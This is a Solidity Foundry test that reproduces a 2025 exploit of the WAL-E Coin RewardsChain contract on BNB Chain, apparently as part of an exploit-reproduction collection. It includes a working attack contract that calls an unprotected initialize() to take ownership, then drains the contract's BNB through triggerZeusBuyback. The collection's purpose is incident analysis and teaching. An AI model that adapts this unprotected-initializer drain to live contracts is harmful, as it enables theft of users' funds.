src/test/2025-06/WaleCoin_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 1.415367204023272901 BNB
8// Attacker : 0xc49F2938327aa2Cdc3F2F89Ed17b54b3671f05dE
9// Attack Contract : 0x07a86AB86C58B894C3722fA8C69065320fAE8883
10// Vulnerable Contract : 0x67CEa5e25903c3022eBAF99E67e1898f1De6a75E
11// Attack Tx : https://bscscan.com/tx/0xa3607a9db9ef422f19d341f728f5eaff3514358b7fe7d46aaf5de059ca67cd64
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x904d8c8Ac825B70ce893cfdB133899d21e10e8b7#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1279
18//
19// Attack summary: RewardsChain.initialize(address) can be called after deployment and overwrites the
20// owner, router, pair, allowances, and initial supply receiver. The attacker made a malicious router call
21// initialize(address(this)), becoming authorized, then called triggerZeusBuyback with the token contract's
22// BNB balance. The verified buyback path sent that BNB to the attacker-controlled router, which forwarded it.
23 
24address constant ATTACKER = 0xc49F2938327aa2cDc3F2f89Ed17b54B3671F05DE;
25address constant ATTACK_CONTRACT = 0x07A86AB86C58b894c3722fa8c69065320FAE8883;
26address constant WALE_COIN = 0x67CeA5e25903c3022EBaf99e67e1898F1De6a75E;
27address constant REWARDS_CHAIN_IMPL = 0x904D8c8aC825b70cE893Cfdb133899d21E10E8b7;
28address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
29 
30interface IRewardsChain {
31    function initialize(
32        address dexRouter
33    ) external;
34    function triggerZeusBuyback(uint256 amount, bool triggerBuybackMultiplier) external;
35    function getOwner() external view returns (address);
36    function router() external view returns (address);
37    function balanceOf(
38        address account
39    ) external view returns (uint256);
40}
41 
42contract ContractTest is BaseTestWithBalanceLog {
43    function setUp() public {
44        uint256 forkBlock = 51_488_106;
45        vm.createSelectFork("bsc", forkBlock);
46 
47        fundingToken = address(0);
48        attacker = ATTACKER;
49 
50        vm.label(ATTACKER, "Attacker");
51        vm.label(ATTACK_CONTRACT, "Historical Attack Contract");
52        vm.label(WALE_COIN, "WAL-E Coin Proxy");
53        vm.label(REWARDS_CHAIN_IMPL, "RewardsChain Implementation");
54        vm.label(WBNB_TOKEN, "WBNB");
55    }
56 
57    function testExploit() public balanceLog {
58        uint256 contractBnbBefore = WALE_COIN.balance;
59        uint256 attackerBalanceBefore = ATTACKER.balance;
60        address ownerBefore = IRewardsChain(WALE_COIN).getOwner();
61        address routerBefore = IRewardsChain(WALE_COIN).router();
62 
63        assertGt(contractBnbBefore, 1 ether);
64        assertTrue(ownerBefore != address(0));
65        assertTrue(routerBefore != address(0));
66 
67        // step 1: deploy an attacker-controlled router and reinitialize the already-live proxy to that router.
68        vm.prank(ATTACKER);
69        WaleCoinAttack attack = new WaleCoinAttack(payable(ATTACKER));
70        attack.execute();
71 
72        // step 2: initialize() made the malicious router authorized, so triggerZeusBuyback drained the BNB.
73        uint256 attackerProfit = ATTACKER.balance - attackerBalanceBefore;
74        assertEq(attackerProfit, contractBnbBefore);
75        assertEq(WALE_COIN.balance, 0);
76        assertEq(IRewardsChain(WALE_COIN).getOwner(), address(attack));
77        assertEq(IRewardsChain(WALE_COIN).router(), address(attack));
78        assertGt(IRewardsChain(WALE_COIN).balanceOf(address(attack)), 0);
79    }
80}
81 
82contract WaleCoinAttack {
83    address payable private immutable profitReceiver;
84 
85    constructor(
86        address payable receiver
87    ) {
88        profitReceiver = receiver;
89    }
90 
91    function execute() external {
92        IRewardsChain(WALE_COIN).initialize(address(this));
93 
94        uint256 amountToDrain = WALE_COIN.balance;
95        IRewardsChain(WALE_COIN).triggerZeusBuyback(amountToDrain, false);
96 
97        profitReceiver.transfer(address(this).balance);
98    }
99 
100    function factory() external view returns (address) {
101        return address(this);
102    }
103 
104    function createPair(address, address) external view returns (address) {
105        return address(this);
106    }
107 
108    function WETH() external pure returns (address) {
109        return WBNB_TOKEN;
110    }
111 
112    function swapExactETHForTokensSupportingFeeOnTransferTokens(
113        uint256,
114        address[] calldata,
115        address,
116        uint256
117    ) external payable {}
118 
119    receive() external payable {}
120}